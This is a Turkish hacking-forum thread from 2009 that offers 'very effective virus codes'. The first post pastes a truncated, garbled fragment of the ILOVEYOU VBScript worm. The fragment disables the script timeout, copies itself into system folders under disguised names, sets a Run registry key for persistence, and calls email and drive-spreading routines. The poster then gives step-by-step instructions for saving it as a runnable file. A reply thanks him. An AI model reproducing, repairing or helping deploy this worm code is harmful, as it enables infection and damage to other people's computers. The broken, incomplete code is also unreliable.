Real Felaket

Web Sitemiden Yararlana Bilmek İçin Lütfen Üye Olunuz
Real Felaket

    Arkadaslar cok etkılı vırus kodları nasıl bır vırus yapılır ınceleyın

    Paylaş

    Fakelove
    G.K BAŞKANI
    G.K BAŞKANI

    Mesaj Sayısı : 145
    Kayıt tarihi : 17/06/09
    Yaş : 26
    Nerden : Nereye

    Arkadaslar cok etkılı vırus kodları nasıl bır vırus yapılır ınceleyın

    Mesaj tarafından Fakelove Bir Paz Haz. 21, 2009 1:33 am

    BU DÜNYAYI SALLAYAN Bİ VİRÜS.EN BAŞTAN SÖYLİYEYİM KENDİ PC'NİZDE SAKIN
    DENEMEYİN PC'NİZ AÇILMAZ.AÇILMADIĞI GİBİ FORMAT ATTIRMANIZ LAZIM
    HADİFORMAT ATTINIZ.ATIKTAN SONRA BAKIN NE SORUNLAR ÇIKIYOR ***KODLAR
    AŞAGIDA***.[


    rem delete -pcas(-vbe)
    On es error -pc
    On error Next Pc Hack
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    On Error Resume Next
    Dim num,downread
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"


    sımdı
    arkadasların bazıları sorucak bu vırusu nasıl yapıcam aynen soyle
    yapacaksın not defterını acıyorsun buradakı kodları oraya
    yapıstırıyorsun sonra farklı kaydet dıyorsun masaustune
    (örnegın:sabo.bat) arkadaslar .bat seklınde kaydedıyorsun ve
    masaustunde vırusun hazır sız bu vırusu acmayın sakın ıste yapdıgınız
    ılk vırus dosyası da budur...!!!

    hephaistos
    TÜMGENERAL
    TÜMGENERAL

    Mesaj Sayısı : 10
    Kayıt tarihi : 21/06/09

    Geri: Arkadaslar cok etkılı vırus kodları nasıl bır vırus yapılır ınceleyın

    Mesaj tarafından hephaistos Bir Ptsi Haz. 22, 2009 12:36 am

    Paylasım için tesekkürler.
    Eğer merakınıza yenilip te dosyayı çalıştırırsanız PC niz in basına hersey gelebilir:D

      Forum Saati Çarş. Ocak 18, 2017 7:48 am